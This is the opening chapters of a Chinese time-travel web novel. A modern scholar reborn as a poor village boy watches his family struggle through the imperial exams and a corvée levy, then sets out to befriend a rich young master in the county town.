《让你当书童,你替少爷科举中状元》 1、河西村崔岘 清晨,河西村。 阳春三月,正是农闲时候。 村里人悠哉起床,不慌忙做早食,三五懒汉、婆娘扎堆在路口,编排闲话。 斜对面,崔家大门半开。 刚好能瞧见里头两个成年男子,带着两个小男孩,在院子里‘跳大神’。 懒汉婆娘们互相挤眉弄眼,低声嘲笑。 “天老爷,这是在作什么妖呢。” “一家子都读书读傻了!” “他家岘哥儿,八岁大的娃子,半月前扎进淹不到裤腿儿的小溪里,愣是爬不起来。” “崔家老大老二,今年还去考科举不?” “考,怎么不考!人家老崔氏说了,要让两个儿子一直考下去呢。” “哎呦,这都考了快十年了吧,什么时候是个头啊。” 在河西村,崔家一直都是村民们议论的对象。 因为崔家大儿子、二儿子,考了快十年的科举,导致败光家业,穷到揭不开锅。 偏偏这兄弟俩,年年考试,年年落榜。 如今快三十了,还只是个可怜的童生。 崔家院子里。 头发花白的老崔氏手持戒尺,严肃监督两个儿子、两个孙子打‘五禽戏’锻炼体魄。 村民们不懂,笑话这是在跳大神呢。 突然。 趁着老崔氏一个没注意,她的小儿子崔仲渊眼珠一转,开始偷懒。 下一刻。 啪! 老崔氏手中戒尺如长了眼睛,稳准狠打到小儿子的屁股上。 “疼疼疼!” 崔仲渊嗷呜惨叫,给自己身边的小男孩打眼色。 岘哥儿,快替爹向你祖母求求情啊! 对待孙子,老崔氏总是会宽容一些。 然而崔岘看了看那骇人的戒尺,不顾亲爹哀怨的眼神,对祖母露出一个讨好的乖巧笑容。 打了我爹,可不能再打我了嗷! 院子里。 崔家老大、老大媳妇儿、和他们的大女儿、小儿子,以及老二媳妇儿,都各自眼观鼻,鼻观心,努力做忙碌状。 生怕受到牵连。 半个多时辰后,五禽戏终于打完。 老崔氏吩咐道:“老大、老二回房温书。老大媳妇去做早食,老二媳妇去打扫院子,璇姐儿去喂鸡。钰哥儿、岘哥儿歇一歇,也各自去帮你们娘干活儿。” 一家人很快便忙碌起来。 老崔氏自己去后院喂牛。 崔家老大崔伯山、老二崔仲渊回房,紧接着传来他俩洪亮的读书声。 老大媳妇林氏去庖厨做早食。 林氏的大女儿,十岁的崔璇去喂鸡。 林氏的小儿子崔钰,刚锻炼完,站在崔岘身边微微喘气。 他是崔岘的堂兄,今年九岁,比崔岘大一岁。 老二媳妇儿陈氏,也就是崔岘的娘,怀有五个月身孕,正扶着腰打扫院子。 崔岘歇息片刻,赶紧去帮忙。 打扫到大门口的时候,他听到外面那群人在奚落自家,于是恶狠狠瞪过去。 懒汉婆娘们被抓包也不害臊,嘻嘻哈哈的散去了。 崔岘见状,回头看向自家破落、寒酸的房屋,无声叹气。 难怪会被人看不起。 真是穷到叮咣响啊。 没错,崔岘穿越了。 上辈子,他是现代社会985高校汉语言文学专业博士,死于一场意外车祸。 再次睁开眼,却穿越到大梁王朝,河西村崔家一个八岁稚童身上。 巧的是,这个稚童名字也叫做崔岘。 半月前小崔岘在溪边玩耍,不慎落水昏迷,醒来便神不知鬼不觉的换了个芯子。 好在,崔岘融合了稚童的意识,所以并未引起旁人怀疑。 要知道这可是古代。 若是被认定为‘鬼附身’,那可太要命了! 再说这崔家。 崔岘的祖母老崔氏,是个‘鸡娃狂魔’,日日盼望着两个读书的儿子,能科举高中,光耀门楣。 可惜这么多年都没能如愿。 反倒成为十里八村的笑料。 人们嘲弄:“老崔氏是癔症了,他们崔家啊,就没有中榜的命!” 听着里屋父亲、大伯的读书声,再看看自家简陋的院子,崔岘喃喃道:“没有中榜的命么……未必吧。” 半月前穿越来的时候,崔岘是有些茫然的。 因为这个叫做大梁的朝代,他从未听说过。 前世那些闪耀在历史长河里的先贤、名家,也都不见踪迹。 后来暗中观察大伯、父亲读的书,让崔岘松了口气——还好,读的是四书五经。 再根据大梁王朝乡试、会试、殿试的完备科举制度,和其余种种迹象可以推测出,这个大梁王朝,无限接近于上辈子的明朝。 只是开国皇帝从姓朱,变成了姓梁。 当然,对于崔岘来说,这都是小事。 只要还在读四书五经,只要仍旧是儒家在治理天下。 就足够了! 作为曾经的高等学府汉语言文学专业博士,崔岘的脑子里,储藏着足以惊艳这个时代的璀璨学识。 不仅仅限于那些流传千古、脍炙人口的诗词。 他还能做八股,辨经文,写策论。 他临摹过书圣王羲之的字。 他通读过《四书章句集注》——集儒家大成的官方哲学丛书,再直白来说就是科举考试的答卷标准。 他知道朱熹的格物致知。 他了解王阳明的知行合一。 他还看过《九章算术》。 他刷过历代状元殿试试卷大全。 他读过《天工开物》,读过《本草纲目》,读过《徐霞客游记》,读过《孙子兵法》。 他甚至还钻研过《厚黑学》、《盐铁论》、《潜夫论》。 而这些,便是崔岘的底气! 甚至从某种程度上来说,穿越,对于崔岘来说是个好事儿。 毕竟穿越前的他,只是个有些学识的博士。 穿越后的他,那简直就是个行走的‘外挂’! 在这个以士农工商排序,惟有读书高的年代,崔岘穿越而来睁开眼的刹那,脚下就注定已铺好了一条青云通天路! 崔岘是个很有韧性的人。 他上辈子孤儿出身,天崩开局,却也一路摸爬滚打,努力读到了博士。 穿越后,虽然因现状凄惨而略显沮丧,但是绝对不会就此被轻易打倒。 至少他这辈子有家,有亲人。 暂时的穷困潦倒,不足为惧。 他相信,自己一定能够凭借满身学识,在这陌生的古代王朝—— 混出个人样来! 2、科举兴家 正当崔岘思索着,该如何出人头地的时候。 “吃饭了!” 大伯母林氏在庖厨里喊道。 于是,一家人放下手中的活儿,去堂屋陈旧的餐桌前坐下,眼巴巴等候着。 饭菜很简单。 粗粮菜窝头,清汤寡水的面汤。 一大盆没甚油水的炒荠菜,和一大盆凉拌马兰头。 而在这些菜的最中间,放着一大块熏腊肉。 肉质肥美,色泽浓郁,看起来和周围寒酸的菜色格格不入。 崔岘知道,这块肉,是家里的‘老演员’。 果然。 祖母老崔氏扫了一眼那块腊肉,眼睛里浮现出追忆:“你们祖父、曾祖父还活着的时候,家里顿顿鸡鸭鱼肉,好不风光奢侈。” 大伯崔伯山闻言立刻接话:“娘说的对,儿子和弟弟一定努力金榜题名,让娘以后日日都能好吃好喝、穿金戴银。” 大伯母林氏说道:“有娘操持家里,咱们细水长流,日子过得舒坦。就算不吃这块腊肉,也是村子里人人都羡慕的呢。” 崔岘爹说道:“儿子小时候跟着我祖父、我爹吃多了肉,现在只想吃点清淡的。” 崔岘娘说道:“儿媳如今孕吐的厉害,瞧见这肉就难受。” 崔璇咽了咽口水,说道:“我……我一点都不馋!” 最后。 由崔家三代长孙,小崔钰板着脸做收尾总结:“这块腊肉,是祖母对我们的期盼与鞭策。请祖母把腊肉收起来,留着以后日日鞭策孙儿上进,以复昔日家族门楣荣光。” 崔岘面无表情:“……” 但凡你们把嘴角的哈喇子擦一擦,我都能信了你们说的鬼话。 呵,一大家子装货! “好,不愧是我崔氏儿女!有志气!” 听完一家人的话,崔老太太非常欣慰,吩咐林氏:“老大媳妇,把腊肉收起来吧。” “哎!” 林氏应声,把腊肉熟练端回庖厨。 一大家子这才迫不及待开始吃早食。 崔岘吃的很痛苦。 菜窝头难以下咽,有些卡嗓子。 面汤跟水似的。 炒荠菜热了好几遍,味道很怪。 倒是那凉拌马兰头,清清脆脆的还算爽口。 但身处封建古代农家,能有口饭果腹已是幸事,哪有资格挑剔? 既来之,则安之吧。 饭后。 崔老太太擦了擦嘴,说道:“从明日起往后半月,家里每日晡食加三枚鸡蛋,老大老二各食一枚,余下一枚全家共食。” 晡食便是晚饭的意思。 崔家日子清贫,平时不见荤腥,连鸡蛋也很少吃。 家里鸡下的蛋,都拿去换钱了。 可听闻崔老太太这番‘改善伙食’的话,一家人非但没高兴,气氛反而紧绷起来。 崔岘心中了然。 再过半月,就是大梁王朝三年两次的院试。 大伯、父亲是童生,已经考过县试、府试,下一步便是参加院试考秀才。 那加食的鸡蛋,是崔老太太给即将参加科考的两个儿子滋补身体的。 但—— 掐指一算,这已经是崔伯山、崔仲渊兄弟二人,即将要参加的第七次院试了。 前面六次院试皆落榜,九年光阴如流水般蹉跎而过。 崔家也曾富贵过,为何仅小二十年光景,便家道中落,清贫至此? 还不是因为要同时供养着两个读书人呐! 都说万般皆下品,惟有读书高。 可考了这么多年,浪费了这么多钱财,却始终考不中。 到现在家里日子越过越差,真的还要继续考下去吗? 两位儿媳妇脸带愁容。 崔仲渊眼神黯淡。 然而面对日日将‘桂榜高中、光复门楣’挂在嘴边的崔老太太,谁都不敢开口提‘不考了’。 大伯崔伯山深吸一口气,颤声道:“多谢娘体恤,这次院试,儿子一定中榜,给娘长脸!” 他都忘记这是自己第几次说类似的话了。 从十年前的踌躇满志,到如今心灰意懒,其中种种,实在心酸。 崔老太太仿佛半点没察觉到一家人的表情。 她满面笑容殷切:“莫要有压力,好好温书,好好考。前几日你爹给我托梦,说你们兄弟二人,今年必定会中,娘对你俩有信心。” 她口中说着‘莫要有压力’。 可被这样殷切到近乎偏执的目光注视着,崔家老大老二只觉得喘不过来气般窒息。 最后,还是大伯母开口说了句‘相公、小叔该去温书了’。 崔伯山、崔仲渊兄弟二人这才松了口气,各自回房读书。 而老崔氏,林氏,陈氏三个女人,则是去院子里织麻。 崔岘、崔钰、崔璇三个小的,负责帮忙做点收拢麻线的轻活儿。 农闲的时候,村里人都会囤些苎麻织成布,或用于自家裁衣裳,或拿去布庄换些银钱。 但苎麻布十分粗糙,属于市面上最便宜的布料。 卖不了几个钱。 对于如今贫困潦倒的崔家来说,可谓杯水车薪。 崔岘不甘囿于贫穷。 但他这具身体才八岁,短时间内很难迅速翻身。 在古代想要脱贫致富、提高社会地位,最有效的办法,肯定是科举走仕途。 但…… 想起即将再次参加科考的父亲和大伯,崔岘满心绝望。 至于原因么—— 白天过去,夜晚来临。 大伯母林氏结束织麻,做了一顿和早上相同难吃的饭。 一家人匆匆吃完。 崔老太太年纪大了,早早回房歇息。 崔伯山、崔仲渊兄弟二人的屋子里,先后点燃起油灯。 林氏、陈氏妯娌俩各自回屋,奉婆婆的命令,监督自己相公读书。 林氏在崔伯山旁边手持锥子。 陈氏则是把崔仲渊的头发绑在房梁垂下的麻绳上。 “时甲子昧爽,王朝至于商郊牧野,乃誓。王左杖黄钺,右秉白旄以麾,曰……曰……” 挑灯夜读的崔仲渊越读越困,哈欠连天,不自觉想要往案上趴。 突然,房梁垂落的绳子猛然收紧,头发狠狠往上扯。 疼的他困意全消,哭嚷道:“曰……哎呦我的娘!疼死我啦!曰……不曰了!我的头发,我的头发要掉光了啊!” 另一间卧房里。 “惟二月既望,越六日,乙未,王朝步自周,则至于丰。惟太保先周公相宅,越若来三月,惟……惟……我白日里明明已熟记于心,怎么一到晚上就忘了!” 大伯崔伯山崩溃道:“究竟惟什么,娘子,扎我!快扎我!” 林氏哆嗦着一锥子扎到他大腿上。 大伯疼的脸色扭曲,却兴奋道:“我想起来了,是惟丙午朏!” 林氏颤声道:“惟……不对,扎,扎出血啦。” 大伯闻言低头去看,接着白眼一翻,晕了! 随后是大伯母、崔钰、崔璇的惊呼。 崔岘躺在床上,闭着眼睛满脸绝望。 脑海中响起的,是上辈子一首非常洗脑的魔性音乐: 不敢睁开眼,希望是我的幻觉! 大伯、父亲怕是没指望了。 这科举兴家的重担,还是得他自己来背负啊。 主卧房。 听着里屋两个儿子有气无力的读书声,崔老太太躺在床上,浑浊苍老的眼睛里满是哀伤。 二十年了。 相公临死前狰狞嘶哑的声音,仍旧不眠不休在她耳边回荡: “哪怕倾尽家财,也要让伯山、仲渊读出个名堂,否则我死不瞑目!” 老天爷啊,求您开开眼。 让我们老崔家祖坟冒股青烟,出个文曲星吧! 3、读书开蒙名额 夜晚,卧房里。 崔仲渊还在一边心疼头发,一边摇头晃脑读死书。 隔壁大伯晕厥后醒来,也在读书。 崔岘听得心中暗急。 他想说别读了,你们马上要参加的是院试,好歹互相做几道八股,试着破一破题啊。 照你俩这‘头悬梁、锥刺股’的架势,能高中才怪了! 更别提,你俩打得还是仅次于江浙地区的地狱级难度科举副本—— 河西村所处的位置在中原,河南省、南阳府、南阳县。 自古到今,河南学子的诸多心酸,那真是多到不知从何说起。 但这些话,崔岘却根本没法开口。 八岁稚童哪里该懂这些? 穿越过来后,他小心翼翼扮演好自己的‘人设’,生怕被瞧出端倪。 就这,都偶有露馅的时候。 读完书后的崔仲渊揉着脑袋上床,迎上儿子的目光,沾沾自喜道:“岘哥儿你瞧,为父既努力,又聪慧。方才我仔细想了,既然你祖母说你祖父特地托梦,想来这次为父指定能中。” 崔岘:“……” 这就是学渣的错觉吗? 真可怕。 他不想接话,默默翻了个身,闭眼睡觉。 被无视的崔仲渊委委屈屈看向妻子陈氏:“我怎么觉得,岘哥儿现在越发不稀罕我,连爹都不叫了。” 这也是人之常情。 穿越过来后,崔岘总体适应的还算良好。 但上辈身为孤儿,子孑然一身惯了。 ‘爹’、‘娘’这种称呼,他短时间内实在羞于启口。 陈氏心大,又因为睡觉被丈夫吵的烦躁,闻言咕哝道:“许是因为你头发越来越稀疏了吧,多大点事,睡觉。” 崔岘刚提起来的心又放下,没忍住闷笑出声。 崔仲渊听到了。 他觑了一眼儿子,随后故意躺过去,一把将崔岘搂在怀里:“好哇,你还敢笑!你不稀罕爹,那爹来稀罕你,嘿嘿。” 崔岘试图挣扎,却怎么也挣脱不掉,只能无奈作罢。 耳边很快传来崔仲渊的鼾声。 黑暗中,被‘父亲’环抱着的崔岘嘴角悄然浮现出一抹笑意。 常言道:花有重开日,人无再少年。 崔岘倒是从未料到,身为孤儿的自己竟穿越到古代,重新从稚童开始成长,还体会到了家的温暖。 这种感觉,也挺好。 次日。 崔岘照旧早起打五禽戏、吃难吃的早食、帮家里织麻。 大伯、父亲继续回房读书。 一家人在院子里忙活的时候,里长来登门了。 正忙活着织麻的林氏、陈氏瞧见来人,赶紧站起来,喊了声‘七叔’。 崔老太太觑了对方一眼,没吭声。 里长搓搓手,对着崔老太太说道:“我来找嫂子商量点事儿。” 崔老太太这才说道:“进屋坐吧,老大媳妇去烧些热水。” 陈氏招呼里长去堂屋,还不忘回头朝家里几个小的挥挥手:“璇姐儿,你带弟弟们出去玩会儿。” 崔璇乖巧应了一声。 大伯母林氏去庖厨烧热水,趁没人注意,小声喊儿子:“钰哥儿。” 等崔钰疑惑着小跑进了庖厨。 林氏把一个小纸包递过去:“你祖母跟七叔公说话呢,没工夫管别的。赶紧吃了,别让人瞧见。” 纸包里,是三小块腊肉边角。 崔钰眼睛一下子就瞪得滚圆。 迟疑片刻,他飞快抓起两块腊肉往外跑:“我拿两块,一块给阿弟,一块给阿姐,剩下一块娘吃。” 林氏闻言气急。 榆木脑袋啊,跟他爹一个德行,什么好事儿都不先想着自个儿! 恰逢这时候,陈氏在院子里喊道:“大嫂,娘让你进去呢。” “这就来。” 林氏闻言,下意识将纸包往怀里藏。 可片刻后她又撇撇嘴走出去,悄摸着把那小块腊肉塞进陈氏嘴里:“你身子重,补补。” 陈氏一抿嘴,妈耶,是肉! 香死了! 她含在嘴里咀嚼,舍不得咽,小声咕哝着呜呜道:“大嫂你真好,咱家就属你最好了!” 林氏登时被夸到找不到北,心里美得冒泡。 可很快,妯娌二人就‘美’不起来了。 因为。 里屋传来崔老太太愤怒的质问:“老七,你大哥活着的时候待你不薄,现在你要把伯山、仲渊送去服徭役?你明知,再有半月就是院试了!” 里长叹了口气,嗫嚅道:“嫂子,我也为难啊。前些年的徭役名额,哪次分到你家了?时间一久,别家也会有怨言的。若是不打算服徭役,你尽早准备筹钱吧,一人五两。” 原来,里长是为‘徭役名额’一事而来的。 陈氏、林氏脸色大变。 · 另一边。 崔家姐弟三人一起出了家门。 河西村不算小,约莫百余户人家,房屋都很寒酸破旧。 看着周遭破落到触目惊心的村子,崔岘心里涌出无限悲凉。 他通读史书,自然清楚封建王朝的农民们,过的都是什么水深火热的日子。 所以,得想办法离开河西村。 纵然满身学识,待在这落后、偏僻的村子里,也绝对没有出头之日。 其实崔岘不是没想过,跟家里人提读书。 可家里供着两位读书人,早已不堪重负,他实在开不了口。 崔老太太一心扑在儿子身上。 至于孙子这边,偶尔让两位儿子教些简易的字,权当开蒙。 其余的,根本无暇顾及。 唉,为今之计,只能走一步看一步了。 最好是能寻个机会,去南阳县城一趟,看能不能赚些银钱。 崔岘心思重重。 走在他旁边的崔钰瞧了瞧四周,紧张的伸出手:“阿姐,阿弟,你们一人一块,我已经吃过了,你们快吃。” 崔璇见了,吃惊的张大嘴:“腊……腊肉!祖母会打死我们……呜呜……真香!” 见阿姐提高声量,崔钰赶紧将一块腊肉塞进她嘴里。 随后,他看着那腊肉狠狠咽了咽口水,递给崔岘:“阿弟,这块是你的,快……呜呜……香!” 崔岘一看就知道,崔钰没吃肉。 他这位名义上的‘小堂兄’,打小就有君子风范啊。 因此,崔岘假意去拿那块肉,然后趁其不备,直接塞进了崔钰的嘴里。 作为一个现代人,他倒不至于馋那一口腊肉。 吃到腊肉的崔钰下意识咀嚼,随后懵了片刻,急切道:“阿弟,那是给你的肉!” 崔璇也很是吃惊。 但崔岘不想为一块肉多费口舌,迈开步子往家跑:“你们吃吧,吃完咽下去再回家,我回去瞧瞧里长来咱家做什么。” 回想方才里长来崔家的表情,他总觉得对方来者不善。 崔钰怔怔嚼着嘴里的肉,对崔璇说道:“阿姐,岘哥儿一直馋腊肉呢,但是他却舍得给我。” 崔璇疯狂点头:“是啊,肉这么香!” 崔钰笑道:“岘哥儿既让我腊肉,我也要让岘哥儿一些别的。” 崔璇闻言很是奇怪:“你要让他什么?” 崔钰摇摇头,不肯多说,拉着阿姐一起,追上岘哥儿的脚步往家赶。 前些日子。 祖母私下找到他,同他讲:“若是此次你父亲、小叔还没中榜,便送你去县城顾夫子那里开蒙读书。” 崔钰闻言下意识问:“那岘哥儿呢?” 祖母沉默不语。 家里穷,供着两个读书人已非常吃力。再咬牙供一个,都是雪上加霜,怎么可能再供两个? 这种情况,自然要先供长孙。 但崔钰思来想去,他既是长孙,又是兄长,理应谦让。 而且岘哥儿自小脑子就好使,将来必定比自己有出息。 所以,便让岘哥儿去读书开蒙吧。 4、发现商机 崔岘回去的时候,里长已经走了。 但,家里的氛围却凝重到了极点。 林氏、陈氏正抽噎着抹眼泪。 崔伯山跪在地上,不停给崔老太太磕头,哀声乞求:“娘,我不读了。我去服徭役,让小弟继续参加今年的院试吧。” 崔仲渊闻言急急跟着跪下:“不可!理应大哥去参加科考……” 他的话没说完。 就见崔老太太突然拿起戒尺,狠狠砸向两个儿子,狰狞着脸尖声道: “我打死你们两个不孝子!为了能让你们兄弟俩安心读书,你们老子娘这十几年来,从没睡过一个好觉。如今你们说不读就不读?你们对得起我,对得起你爹吗?” “谁再敢说一句不读,我当场一头撞死,去下面找你们爹去!” 这话,歇斯底里中透着癫狂。 崔家兄弟二人心神俱震,颤抖着一个字也不敢再多说。 林氏、陈氏哭声骤停。 跟在崔岘身后回来的崔璇、崔钰姐弟俩,同样被骇到面色发白。 这是怎么了啊! 唯有崔岘捕捉到‘服徭役’三个字,心头一沉。 前世,他翻阅史书。 看到服徭役、服兵役,心中总会生起淡淡的怜悯,同时庆幸自己生于盛世。 如今一朝穿越,他生活在了‘史书’里,亲自直面古代封建社会的压迫,才真正体会到—— 这种阶级森严的扭曲制度,会让普通百姓多么无助。 堂屋里。 见呵斥到了两个儿子,崔老太太沉默着转身回卧房,将压箱底的一个布包小心翼翼打开。 里面是一对金玉手镯。 她掏出手绢,仔细将那对手镯擦拭干净。 一如当年嫁进崔家。 新妇敬茶的时候,婆母也是这样将手镯细细擦拭,笑着戴到她洁白、纤细的手腕上。 数十年匆匆而过,新妇熬成了老妇。 手腕处布满皱皱巴巴的糙皮。 老太太压下眼眸中的追忆与不舍,将镯子收进怀里。 罢了,明知留不住,卖便卖了吧。 从卧房走出来。 崔老太太看着神情凄惨的一家人,平静道:“老大老二继续去温书,其余的不用管,娘去一趟县城。” 陈氏哭道:“娘是不是又要去典当东西?两个人头的徭役钱,可是要十两银子,家里值钱的东西,这些年早就被当光了啊。” 崔老太太置若罔闻,抬脚就往外走。 崔岘不自觉攥紧手掌。 十两银子! 对于这个穷苦的家来说,绝对是一笔非常可怕的支出。 看着一屋子面色凄惶的家人,崔岘心想,不能再坐以待毙了。 他得做点什么。 恰逢这时候,崔老太太走的急,还没出家门,便一个踉跄,差点没稳住步子。 崔岘眼睛猛然亮起来。 好机会! 他十分夸张的发出一声惊呼,跑过去搀扶住崔老太太:“祖母小心,我来扶您!” “岘哥儿乖。” 崔老太太明显心事重重,见小孙儿如此懂事,心头宽慰不少。 于是。 她下意识就这样被崔岘搀扶着,祖孙两个在全家人的目送下,步履匆匆离家。 许久后。 崔钰第一个反应过来,傻傻道:“阿弟跟着祖母一起去县城了。” 陈氏抹干净眼泪,气道:“这臭小子,一听去县城,比谁都殷勤,看我回来不把他屁股打开花!” 其余人则是没工夫理会这些小事儿。 尤其是崔伯山、崔仲渊兄弟二人,眼睛里尽是哀伤与羞愧。 · 另一边。 崔岘搀扶着祖母出门,刚到村口,碰巧瞧见前面有辆驴车。 赶车那老汉背影瞧着眼熟,像是村里的三叔公。 河西村距离南阳县城有些距离,单靠走路,来回怎么也得五六个时辰。 若是能搭‘顺风车’,一个多时辰便能赶到。 因此,崔岘赶忙喊道:“三叔公,三叔公,等等我们!” 前面赶驴车的老汉闻声停了车:“是岘娃子,咋了?” 崔岘迈开小步子跑过去,气喘吁吁道:“我跟祖母想去城里,刚好瞧见您也要出门,顺路的话,捎带上我们嘛。” 老汉闻言笑道:“顺路顺路,上来吧。” 崔岘道了谢,自个儿爬上驴车,还不忘张罗没及时跟上的崔老太太:“祖母快一点,咱们能坐驴车啦!” 等崔老太太坐上去往县城的车,这才回过味儿来,瞪了小孙子一眼:“数你心眼子多,我何时答应要带你去县城了?” 崔岘讨好般笑道:“祖母放心,孙儿保证不给您惹麻烦。” 说话的同时,他还殷勤来给崔老太太捶腿。 纵然心情沉重,崔老太太也没忍住被小孙子给逗笑了。 她惊奇的想,岘哥儿自从落水之后,看着比以前机灵不少,将来或许会是个读书的好料子。 可惜…… 家里这情况,最多也只能再供一个钰哥儿。 崔老太太心中歉疚,对崔岘说道:“待会儿进了城,你跟着三叔公,祖母忙完了,再来找你们。你莫淘气,祖母给你买肉包子吃。” 崔岘对肉包子兴趣不大。 他对即将要去的南阳县城更感兴趣。 穿越来这么些天,一直待在偏僻的河西村里,这还是他第一次走出村庄。 约莫一个半时辰后,牛车赶到了南阳县城。 崔岘看着眼前古朴的城门,来往的熙攘人群,眼睛不舍得挪开。 一梦数百年,此刻正式置身于这个陌生的王朝,有种终于尘埃落定的恍惚感。 以后他便要在这里,重活一世了。 南阳县是附郭县,隶属于南阳府。 再简单来说,如今的南阳城里,有着知县、知府两套衙门班底。 所以南阳既是县城,又是府城,相对来说,比一般的县城更加热闹、繁华。 进城后,崔老太太只身前往典当铺。 崔岘则是坐着驴车,跟三叔公一起去了集市。 三叔公是来卖鸡蛋、河鱼的。 双方约定好,两个时辰后,在城门外汇合。 沿街一路走来,崔岘默默打量这座热闹的南阳城,眼睛里尽是惊叹。 纸扎铺、刷牙铺、头巾铺、粉心铺、药铺、七宝铺、绒线铺、冠子铺、肉市、菜市、米市……各种铺面琳琅满目,商贩叫卖声不断。 南阳府隶属河南省,文化风俗和开封府相似。 而上辈子的崔岘,曾观看过那幅传世名画——《清明上河图》。 眼前的一切,和画里非常像,颇有种‘人在画中游’的滋味! 商业繁荣,对于崔岘来说,自然是好事。 因为只要发现商机,便能轻松赚到钱。 可他一个八岁孩童,又能做点什么生意呢? 崔岘的目光默默扫过整个集市,有些焦急。 家中情况窘迫,他好不容易来一次县城,得珍惜这次机会。 “黄胖!卖黄胖喽,好玩的泥黄胖!” 突然,一道叫卖声传入耳中。 崔岘微愣,随后眼睛骤然亮了起来。 5、少爷和我(上) 泥黄胖,一种泥巴做的陶瓷娃娃。 古代小孩最喜欢的玩具,没有之一。 它等同于古代版的‘手办模型’。 不仅小孩爱玩,大人们也会用黄胖来劝酒。 《东京梦华录》有记载: “都城之歌儿舞女,遍满园亭,抵暮而归。各携枣饲、炊饼、黄胖、掉刀,名花异果,山亭戏具,鸭卵鸡雏,谓之‘门外土仪’。” 热闹的集市上。 货郎那声‘黄胖’的叫卖,不仅仅吸引到了崔岘。 也成功吸引了大量小男孩、小女孩眼巴巴凑了过来。 “娘,我要买黄胖!” “我也要,我也要!” 但泥黄胖售价可不便宜,动辄二三十文起步。 若是成色上好、雕刻精致的,五六十文也能卖的出去。 因此,许多家长都舍不得掏这个冤枉钱。 趁着三叔公正在忙活着卖鸡蛋,崔岘挤过去瞧了瞧,随后大失所望。 这做工也太粗糙了点。 以现代人的眼光来看,无非就是个泥人,进火窑里滚了一遍而已。 甚至都没有上色,瞧着灰不溜秋的。 就这。 那货郎还一副奇货可居的神气姿态:“站远点,不买的都站远点啊,别给碰坏咯。” 崔岘陷入沉思。 以他如今八岁的年纪,贸然做生意肯定不合适。 但如果以黄胖玩具作为切入点,瞬间就合理很多,且不太至于引人怀疑。 可他一没有启动资金,二没有人脉关系,三没有窑炉。 如何做生意? 说到底,还是年纪太小。 “这些黄胖,我全要了!” 一道稚嫩的声音,惊醒了沉思中的崔岘。 哦豁,是富哥! 就见一个模样在十岁出头,穿着名贵绸缎的富家少爷,来到了黄胖摊位,开口直接霸气‘包圆儿’。 果不其然,周围响起小孩们一阵倒抽冷气的惊呼艳羡。 崔岘抬头看去。 这少爷衣着金贵,身材微胖,至于模样么……嗯,是个普通男孩。 瞧见那富家少爷。 货郎态度大变,殷切笑道:“原来是裴家少爷,失敬失敬!您今日怎么没带仆从?这样,我把黄胖直接送到贵府吧,省的您劳累。” 裴少爷淡淡‘嗯’了一声。 这下,不仅周围的小孩,大人们也跟着侧目。 “竟然是裴家的少爷!” “难怪出手如此阔绰,裴家可是出了两位举人老爷呢!” 一门双举人? 那别说南阳县,就是纵观南阳府,也绝对算是‘高门’。 看来这小子不仅是个富哥,还是个贵哥啊。 崔岘承认自己酸了。 货郎带着一筐黄胖,喜滋滋跟富贵哥道别,赶往裴府送货。 而狠狠消费了一把的富贵哥本人,则是不顾周遭人的惊叹,独自到街边台阶坐下,神情恹恹。 鬼使神差的,崔岘隐约猜到了对方此刻的处境—— 要么离家出走,要么逃学旷课,回去肯定挨骂,但是不回去又实在无聊。 这种时候的富贵哥最容易忽悠…… 不是,最容易结交了。 思路打开,谁说做生意一定要跟大人合作的? 像是什么启动资金、人脉关系,在人家富贵哥这都不是事儿! 崔岘略作思索,想起家里那位整日以兄长自居的堂兄,有了主意。 他迈开步子走过去,在富贵哥身边坐下,双手小心翼翼做托举状,仿佛在捧着什么东西。 裴少爷正百无聊赖发呆,瞧见有人过来,下意识往旁边挪了挪位置。 起初,他没有在意对方。 可半盏茶的时间过去,身边那人仍旧保持着托举的姿势,一动不动。 裴少爷狐疑转身,瞧见是个身穿粗布麻衣、却粉雕玉琢的俊俏小孩。 目光挑剔的在小孩脸上扫视好几遍,富贵哥心里有点泛酸。 又白又俏,都快赶上自己一半好看了。 察觉到裴少爷视线看过来,崔岘故意露出警惕的表情,将手中虚捧着的‘东西’护在怀里。 富贵哥:? 他感觉自己被羞辱了,没好气的率先开口:“本少爷家里有的是钱,能惦记你那仨瓜俩枣?究竟什么东西,让我看看。” 6、少爷和我(下) 搭讪小男孩第一步:让他主动来找你搭话。 而有些人怎么形容呢…… 就是他一开口,你就知道能忽悠住他。 崔岘佯装迟疑片刻,小心把手递过去,不情愿道:“看吧。” 富贵哥随意瞥了一眼。 又瞥了一眼。 随后他莫名其妙道:“你手上什么都没有,让我看什么?” 崔岘压低声音,煞有介事的说道:“笨蛋,这你都不认识,是摩喉罗啊。” 如果说黄胖属于‘普通手办’。 那么摩喉罗就是这个时代的‘高端手办’,手办中的‘泡泡玛特’。 《醉翁谈录》有记载:“京师是日多博泥孩儿,端正细腻,京语谓之‘摩喉罗’。小大不一,价亦不廉。或加饰以男女衣服,有及于奢华者,南人目为巧儿。” 和制作粗糙的黄胖不同。 摩喉罗娃娃模样精致,且如真人一般穿戴服饰。 是京师里王公贵族小孩都争相追捧的稀缺玩具。 骤然听到‘摩喉罗’,裴少爷显然吃了一惊,随后不屑嘲笑:“本少爷眼睛又不瞎,你手上分明……” 话还没说完。 崔岘把手上的‘东西’递给他:“帮我拿一下摩喉罗。” 啊? 哦哦。 裴少爷话被打断,下意识手忙脚乱‘接’了过来。 这次轮到崔岘笑他:“既然你不相信我手里有摩喉罗,为什么要接住它?” 裴少爷脸色一僵,随后恼羞般做了个丢弃的动作:“胡说八道,本少爷才没接。” 崔岘见状提高声音道:“你砸坏了我的摩喉罗,赔钱,五两银子!” 讹诈,这绝对就是讹诈吧! 富贵哥虽然人傻钱多,但断然不肯吃这种闷亏。 他眼珠子一转,学着崔岘先前的样子,往怀里掏了一把‘空气’递过去:“赔就赔!这是十两银子,都给你了!” 说完,裴少爷洋洋得意看向崔岘,等着他气急败坏。 未曾想。 崔岘还真把那‘十两银子’收下,对着富贵哥郑重抱拳:“我闯荡江湖八年,带着摩喉罗走街串巷,试探了无数英雄好汉,你是头一个愿意赔我钱的!还出手阔绰,给了足足十两!” “你真好,我要认你当大哥!” 什……什么? 裴少爷被这个神展开惊呆了,瞠目道:“认我当大哥?” 崔岘眼神坚定,目光崇拜:“自然!因为只有像你这样,大气,敞亮,豪爽,俊俏,正直,君子气概十足的男人,才配做我的大哥!” 裴少爷被这一波直白又火辣的彩虹屁给吹爽了。 脸蛋黑里透红,浑身酥麻,甚至有种遇到人生知己的畅快感。 这世间,终于有人辨别出他裴坚是块璞玉了! 于是,裴少爷微红着脸忸怩道:“其实我也……也没你说的那么优秀啦。” 崔岘看富贵哥这姿态便知,这把稳了。 想跟大人亲近,要学会把对方当小孩。 想跟小孩亲近,要学会把对方当大人。 